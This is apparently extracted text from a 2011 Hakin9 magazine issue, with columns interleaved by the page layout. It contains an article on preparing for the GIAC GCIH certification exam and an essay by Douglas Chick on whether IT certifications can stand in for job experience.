• Contribution to the Information Security community technical skills improvement when attending this type
(forums, magazines); of event or courseware.
• Publication of books, either as author or a Any event, whether it’s a conference, mentoring
contributor; session or a 40 hours course, it will provide you more
• Gold certification achievement, in the case of Silver than you initially imagined. Just to clarify, let me list just
certification renewal; a few advantages:
• Publication of papers or articles, including books
review; • General Networking
• Professional experience. • Knowledge about other students’ cases and
experiences
Clearly, there was a big change regarding the • Deep and detailed explanation of complex topics
recertification process, since in the past the only path • Complete vision of topics covered and what to
was going through the whole certification process focus on (weaknesses)
again.
Note that there is a cost to do it, which can vary OK, but this option is not available for most of us,
between $199 and $399 depending on the number of mostly because of the cost. And what about the hacker
certifications to be renewed in a given period of time. spirit of self learning things? I do prefer this preparation
More details about the process of recertification can be mode.
found here:
http://giac.org/certification-renewal/. Facing the challenge
Now, I will assume that your already have decided to
The exam make it, that is, you have already registered for the
As any other IT certification exam, the amount of challenge exam and have access to all candidate’s
questions can vary, however the subjects are the resources at SANS portal.
same. So, if you already have understanding or good
hands on experience with the topics covered, all you
have to do is become comfortable with the exam
approach.
Want to see a good example? Can you imagine now,
without trying to read ahead, what are the six stages
of the Incident Handling cycle (regarding Computer
Security, of course)?
You may enumerate them by using your own words
or terms. But to pass, you must know the exam’s
ones. Try ordering the following terms in time of
occurrence: eradication, identification, lessons
learned, preparation, containment, recovery.
Click here (http://www.sans.org/reading_room/
whitepapers/incident/incident-handling-process-
small-medium-businesses_1791) to find the
answer.
I bet you answered right, maybe just one error
(containment – eradication?). That’s what I mean: you
already know a lot about it, but with practical tasks in
mind (maybe part of your daily job).
Exam is mostly made of questions with multiple-
choice answers (4 or 5). Depending on the scenario
presented, the examiner may ask you to analyze a

44 02/2011
 Exploring GCIH certification for fun and employability

Note that you need to have 109 correct answers (out Please note that using printing optimization features
of 150) questions. The exam engine will immediately will help reducing the amount of paper (go green!) and
stop your session if this score is no more reachable can optimize your searching time.
(fear!). But the good news is if you reach the final
question, then you can assume that you have correct Increasing your chances
answered – at least – 108 questions. Four or five possible answers give you 20-25 percent
Refer to this links to read more about the exam of chances to choose the correct one. Sometimes it will
format: be easier eliminating wrong answers instead of trying to
http://www.giac.org/exams/, find the right one.
http://www.giac.org/feedback.php It’s a good strategy to take a look (not in detail) at the
Some tips here will apply for any GIAC certification answers before reading the question, which sometimes
exam based on multiple-choice answers. may have 10+ lines long. Why? You can face something
like this:
Should I bring any books?
The exam is open book, but with internet access a) NMAP
restricted to SANS examination portal. Four hours as b) Snort
a timeframe will give you little more than 1 1 minute to c) Nikto
answer each question. This means you won’t be able to d) Nessus
book check all questions, of course. e) LANguard
If you already got a seasoned position in the security
industry maybe you can jump ahead. But it may be Please note that this is just an EXAMPLE. What
a good idea to read the following books before the can you infer from that? All options except the letter
examination, just to have a general idea of the topics b are scanning tools, right? So, the question will be
covered, especially about the attacks methodology and something like By using the promiscuous mode (…),
tools usage. one of the tools used to capture network traffic is:.
Also note that Ed Skoudis is the main instructor of the Got it?
SEC-504 training, so his book may cover a wide range Another example is:
of exam’s subjects. Here’s the list:
a) X
• Counter Hack Reloaded: A Step-by-Step Guide to b) Y
Computer Attacks and Effective Defenses – By Ed c) Z
Skoudis and Tom Liston d) K
• Hacking Exposed: Network Security Secrets and e) ~X
Solutions – By Stuart McClure, Joel Scambray and
George Kurtz There will be a big chance (not 100%, as everything in
IS world) of choosing the right answer by shorting your
Many books will apply here, as they may have similar options to letters a and e, as they are opposite (~sign)
contents. After reading them, you can make your own to each other. Think as an examiner.
index of interesting and relevant pages. Remember So, make sure you have these tips in mind as time is
about the index (not the ToC) at the end of the books, running against you during the exam session.
they will help you with that.
The tip of gold for silver certification
Cheat sheets are great As you register for the exam challenge, you will be
Commands parameters and syntax are very well enabled to evaluate your skills by making use of two
organized in some documents called cheat sheets. The practice tests. This is the most important phase of your
idea here is to create your own sheet. But try starting study cycle.
from the available ones: I picked out this piece of text directly from GIAC
website:
• What’s in Your Folder: Security Cheat Sheets
Collection: http://blog.securitymonks.com/2009/08/ “ GIAC Practice Tests should be used as a study tool to
15/whats-in-your-folder-security-cheat-sheets/ help ensure you have a clear understanding of what to
• Lenny Zeltser Blog: http://zeltser.com/cheat-sheets/; expect from the exam system, as well as the content that
Lenny is also a SANS contributor and instructor. will be covered on the examination. Utilizing GIAC
• SANS material: Google for (pocket reference OR Practice Tests significantly improves your chances for
cheat sheet) site:sans.org – Lots of material here! success.

www.hakin9.org/en 45
 CERTIFICATIONS

Want to know more?

• GIAC website: http://www.giac.org
• SANS website: http://www.sans.org
• Full brochure about GIAC certs and procedures: http://www.giac.org/cert-brochure.pdf
• GIAC code of ethics: http://www.giac.org/overview/ethics.php
• GIAC FAQ: http://www.giac.org/overview/faq.php

any cost but the generosity of one security

professional around.
Of course, community engagement is
much more than that. I discourage people
to join the groups only for getting practice
tests, so please adopt this with care.

So you got a Practice Test (remember,

two sessions are included in the
package). Now what?

Marking the wrong answer gives you the

correct one and an explanation. So the final
tip is: make it all WRONG! That’s it. During
the practice session, take notes of your
Figure 1. Group members offer practice tests answers. Here’s the process:

(…) • Choose your (right) answer, take note;

Practice test questions are written by the same authors who • Choose an answer that has a great chance of being
compose GIAC exam questions, so you can be confident that wrong and mark it;
the range of your results will be similar to the actual exam. • Read the entire explanation and take notes, if
During the practice test, each time you choose a wrong needed.
answer, you will be shown the correct answer and an
explanation that will help to reinforce the subject matter Your final score will be terrible, but we are trying to
presented in the question. learn. At the end, check your real score (your notes)
Source: http://giac.org/exams/practice.php and see what you will have to focus on.
(date of access: 12/17/2010) The challenge exam is very close to the practice
test. Please note that this is my approach, this may not
So, the first lesson from this is: before you start work for some people. If this helps, feel free to give me
studying for the exam, try taking – at least – one feedbacks (my contacts are below) and good luck in
practice test. That’s right. Why reading an entire your exam!
book without knowing what will be asked during the
exam?
The second lesson is: find a way to get as more tests
as you can. More tests equal more chances and thus
more knowledge about the exam, which will increase
your chances. My tip here is to get involved with Infosec
communities focused on IS certifications. ALEXANDRE TEIXEIRA
Another way is to buy them. Each additional practice Alexandre Teixeira works as Security Architect in a private
test costs $99. bank based in Sao Paulo, Brazil. He has 10+ years of
Do you already have a LinkedIn account? If not, experience in IS field including many hours of self-studying for
it’s time to join it. Here’s a little example, when group earning some IT certifications: GCIH, GCIA, GCUX, SSCP, CCNA,
members are offering practice tests for free. See Figure 1 RHCE, LPIC-2, among others. He is also post-graduated in
as an example. Computer Forensics at Universidade Presbiteriana Mackenzie
At the beginning of this year, I was happily gifted and blog writer at foren6.wordpress.com.
with one GCFA practice test by a member of a Twitter: @ateixei
LinkedIn group. It was a great experience, without LinkedIn: http://br.linkedin.com/in/inode

46 02/2011
 CERTIFICATIONS

Certification Smart?
A job in computers is a position of experience; if you
don’t have experience the next best thing is a computer
certification.

Starting at the Top the study of my position as many levels as I can. If you
Most animals are born with ninety percent of their don’t have experience, a computer certification tells
knowledge through instinct and acquire the other ten your potential employer; I have studied the best I can
percent learning from their environment; we are not on my own to prepare myself for a position with our
one of those creatures. No human is born with working company.
job experience; with the slight exception of politicians. Product knowledge is the key to overcoming lack
Everyone that has ever taken a job, at least one time in of experience. Computer programs create computer
their career has done so without experience. So worrying careers. Software companies create programmers,
whether or not you can get a job with no experience is network administrators, SQL programmers, and router
foolish; we all start out the same. What is equally foolish administrators. Inexperience is secondary if you know
is to worry about not being hired at a high paying salary the product. In other words, product knowledge is
and at the top position with no experience; because an acceptable replacement for experience. Product
you’re going to be. Many people have been convinced knowledge can be described as knowing an operating
that if they get a degree or certain certifications they will system, a programming language, a router OS, or
obtain a top-paying job in a company of their choosing. an SQL language inside and out. While studying
God bless your naive little souls. I am not saying that C++, I was talking to a Vice President at Microsoft,
it is not possible. With the right last name and from the and he asked me how well I knew C++? He needed
right school, you could be president of the United States, C++ programmer’s right then. He knew I had no
but you had better have great connections, because a programming experience but he was willing to
corporation is not as likely to start you at the top, as an overlook it, if I was eager and knowledgeable enough
elected office will. Even Bill Gates and Paul Allen started to use the product. I was not, and subsequently he did
at the bottom. I mean, granted they started from a higher not pursue it any further. You can also gain knowledge
altitude, but it was still a bottom position. Because I hear from self-experience. (I know; self-experience sounds
so many IT managers complain about a young, just a lot like what lonely people do), but in this context,
out of school candidate, or someone with a boot camp self-experience can be setting up networks and
certification, enter an interview with a list of demands, I servers at home or in a lab and obtaining computer
feel it is an important issue to address. I even interviewed certifications.
a young man one time, with no experience, first time job. Product knowledge is the most important tool you
When I asked if he had any questions, he replied that he can have when looking for a job, whether you are a
wanted a new laptop, a credit card, and asked about a seasoned professional or just starting out. A degree
company car. I saved him the embarrassment of failing in computer science is a nice adornment on a resume,
the company drug test. but it does little to help you get a job without some type
of software knowledge. Every time that you install a
Overlooking Inexperience network operating system, create a user account, or set
If you have experience, a certification tells your potential up a DNS, DHCP, WINS, or Print Server, you have that
employer; I am serious enough about my career to take knowledge to use at a later time.

48 02/2011
 Certification Smart?

Beware of Promises from Certification

Schools Douglas Chick. MCP MCSE CCNA
There are many schools out there that promise a quick Creator of www.TheNetworkAdministrator.com
Author of:
job if you earn a certain set of certifications.
What All Network Administrators Know ISBN: 0974463000

You must ask yourself how many jobs there are in the world
that starts out with an inexperienced worker at the top, not
very many.

Look at the employment section of your local paper

and tell me how many legitimate jobs are listed that
state:

Wanted: no experience necessary. With only 6 Hacking the IT Cube: The Information Technology
weeks of education to pass a test, we will hire you to Survival Guide ISBN: 0974463027
manage all the servers, workstations, and network in
our company. You only need to apply with a certification
and a note from your instructor that states you were a
good test taker.

Be cautious when people tell you what certifications

can do. The certification freight train has already left
the station. A great deal of money has been made
by companies that promised a computer certification
would get you a great job, and because of this, they A Career in Computers…without losing your MIND
saturated the market with unskilled, highly certified ISBN: 0974463035
workers that cannot find work.
Without work experience, certifications only
compliment your actual product knowledge. Most IT job
interviews include a technical interview that includes
very specific questions about your product knowledge.
If you cannot answer basic questions or perform specific
tasks, you will not pass the interview. I know network
managers who will end the interview immediately if
someone answers technical questions with, I’m certified
in it, aren’t I? Very few people are capable of faking a hand experience on a network server, workstations,
technical interview. and even in the server room.
During an interview, you should tell the interviewer
just what you know, how you earned it, that you have
done all you can to teach yourself, and now you are
looking for an opportunity to learn first hand. Network
Managers and IT Directors are so gun shy, that if you DOUGLAS CHICK
cannot answer their questions, then this is the only Douglas Chick is a Director of Information Systems for a large
answer they want to hear. A certification will not hold company in the Orlando FL area. Although he introduces
up in a job interview, if you did not retain the data himself as a Network Engineer/Administrator. As with
necessary to pass the course. many computer people, Doug holds an MCSE and CCNA
If reading this makes you nervous, you need to certi�cation. Doug �rst became known on the Internet in
go back to the books and set up as many different May of 2000 for a series of articles about Microsoft retiring
networks as you can. At the bare minimum, you must the NT4 MCSE that were published on over 30 Internet
at least be able to do what you have listed on your Magazines. With his humor and insightful look into the
resume. If self-experience is the only thing you can world on computer professionals, he receives a great deal
offer, you had better be good at it. Network Analyst, of attention from other computer professionals around the
System Analyst, and Helpdesk Technicians are all world. And is proud to admit that less that one percent are in
positions that are available without prior experience. response for his many typo’s and mis-spellings. For more visit:
These positions give you an opportunity to gain first www.TheNetworkAdministrator.com.

www.hakin9.org 49
In the next issue of
magazine:

• The Best Way to Learn

and Apply Cryptography

• Secure Env for PT

• Identity Thefts

Available on February 28th